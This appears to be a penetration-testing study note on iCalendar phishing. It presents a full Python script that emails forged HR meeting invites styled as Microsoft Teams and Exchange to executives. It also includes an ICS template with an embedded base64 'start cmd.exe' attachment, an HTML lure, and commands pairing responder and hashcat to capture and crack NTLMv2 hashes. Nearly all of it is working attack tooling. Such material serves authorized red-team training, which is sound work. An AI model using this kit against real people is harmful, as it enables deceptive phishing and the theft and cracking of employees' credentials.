> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/icalendar-phishing.md). # iCalendar Phishing
What is it? * Using the [*iCalendar*](https://docs.fileformat.com/email/ics/) (ICS) file format to create deceptive invitations that can lead to credential theft * Able to obtain NTLMv2 hash of user --> crack it using hashcat
iCalendar Phishing Code ### fakeics.py ```python import time import codecs import smtplib import datetime import sys from email.mime.text import MIMEText from email.mime.base import MIMEBase from email.encoders import encode_base64 from email.mime.multipart import MIMEMultipart from email.utils import COMMASPACE, formatdate # email settings EMAIL_SUBJECT = "HR Meeting" # event settings EVENT_SUMMARY = "HR meeting" ORGANIZER_NAME = "HR Team Corp1" ATTENDEES = ["ceo@corp1.com", "cto@corp1.com"] # template settings EVENT_TEXT = """ Dear colleague, We would like to inform you about an important HR meeting regarding recent company-wide changes and policies. Your attendance is highly encouraged as we will be discussing essential updates that impact all employees. Topics will include: - Organizational restructuring - New employee benefits package - Updates to leave policies - Changes to the remote work policy This meeting is a priority and will be your opportunity to ask any questions or raise concerns. We look forward to your participation. Best regards, HR Team """ def load_template(): template = "" with codecs.open("email_template.html", 'r', 'utf-8') as f: template = f.read() return template def prepare_template(event_url): email_template = load_template() email_template = email_template.format(EVENT_TEXT=EVENT_TEXT, EVENT_URL=event_url) return email_template def load_ics(): ics = "" with codecs.open("iCalendar_template.ics", 'r', 'utf-8') as f: ics = f.read() return ics def prepare_ics(dtstamp, dtstart, dtend, sender_email, event_url): ics_template = load_ics() ics_template = ics_template.format( DTSTAMP=dtstamp, DTSTART=dtstart, DTEND=dtend, ORGANIZER_NAME=ORGANIZER_NAME, ORGANIZER_EMAIL=sender_email, DESCRIPTION=event_url, # Use event_url as DESCRIPTION SUMMARY=EVENT_SUMMARY, ATTENDEES=generate_attendees() ) return ics_template def generate_attendees(): attendees = [] for attendee in ATTENDEES: attendees.append( "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=FALSE\r\n ;CN={attendee};X-NUM-GUESTS=0:\r\n mailto:{attendee}".format(attendee=attendee) ) return "\r\n".join(attendees) def send_email(smtp_server, sender_email, to, event_url): print('Sending email to: ' + to) # in .ics file timezone is set to be utc utc_offset = time.localtime().tm_gmtoff / 60 ddtstart = datetime.datetime.now() dtoff = datetime.timedelta(minutes=utc_offset + 5) # meeting has started 5 minutes ago duration = datetime.timedelta(hours=1) # meeting duration ddtstart = ddtstart - dtoff dtend = ddtstart + duration dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ") dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ") dtend = dtend.strftime("%Y%m%dT%H%M%SZ") ics = prepare_ics(dtstamp, dtstart, dtend, sender_email, event_url) email_body = prepare_template(event_url) msg = MIMEMultipart('mixed') msg['Reply-To'] = sender_email msg['Date'] = formatdate(localtime=True) msg['Subject'] = EMAIL_SUBJECT msg['From'] = sender_email msg['To'] = to part_email = MIMEText(email_body, "html") part_cal = MIMEText(ics, 'calendar;method=REQUEST') msgAlternative = MIMEMultipart('alternative') msg.attach(msgAlternative) ics_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics")) ics_atch.set_payload(ics) encode_base64(ics_atch) ics_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics")) eml_atch = MIMEBase('text/plain', '') eml_atch.set_payload("") encode_base64(eml_atch) eml_atch.add_header('Content-Transfer-Encoding', "") msgAlternative.attach(part_email) msgAlternative.attach(part_cal) mailServer = smtplib.SMTP(smtp_server, 25) mailServer.ehlo() mailServer.ehlo() mailServer.sendmail(sender_email, to, msg.as_string()) mailServer.close() def main(): if len(sys.argv) != 5: print("Usage: python fakemeeting.py ") sys.exit(1) smtp_server = sys.argv[1] sender_email = sys.argv[2] recipient_email = sys.argv[3] event_url = sys.argv[4] send_email(smtp_server, sender_email, recipient_email, event_url) if __name__ == "__main__": main() ``` ### iCalendar\_template.ics ```bash BEGIN:VCALENDAR PRODID:Microsoft Exchange Server 2022 VERSION:2.0 CALSCALE:GREGORIAN METHOD:REQUEST BEGIN:VTIMEZONE TZID:UTC BEGIN:STANDARD DTSTART:{DTSTART} TZOFFSETFROM:+0000 TZOFFSETTO:+0000 END:STANDARD BEGIN:DAYLIGHT DTSTART:{DTSTART} TZOFFSETFROM:+0000 TZOFFSETTO:+0000 END:DAYLIGHT END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=UTC:{DTSTART} DTEND;TZID=UTC:{DTEND} DTSTAMP:{DTSTAMP} ORGANIZER;CN={ORGANIZER_NAME}:mailto:{ORGANIZER_EMAIL} ATTACH;FMTTYPE=application/octet-stream;ENCODING=BASE64:\c3RhcnQgY21kLmV4ZQo= UID:FIXMEUID{DTSTAMP} {ATTENDEES} CREATED:{DTSTAMP} DESCRIPTION:{DESCRIPTION} LAST-MODIFIED:{DTSTAMP} LOCATION:Microsoft Teams Meeting SEQUENCE:0 STATUS:CONFIRMED SUMMARY:{SUMMARY} TRANSP:OPAQUE END:VEVENT END:VCALENDAR ``` ### email\_template.html ```html

{EVENT_TEXT} 

________________________________________________________________________________  

Microsoft Teams meeting  

Join on your computer or mobile app  

Click here to join the meeting  

Learn More | Meeting options 

________________________________________________________________________________  

``` ### Usage of script: ```bash responder -I tun0 python3 fakeics.py # python3 fakeics.py 192.168.132.121 hr@corp1.com offsec@corp1.com http://192.168.45.219 hashcat -m 5600 hash.txt rockyou.txt ```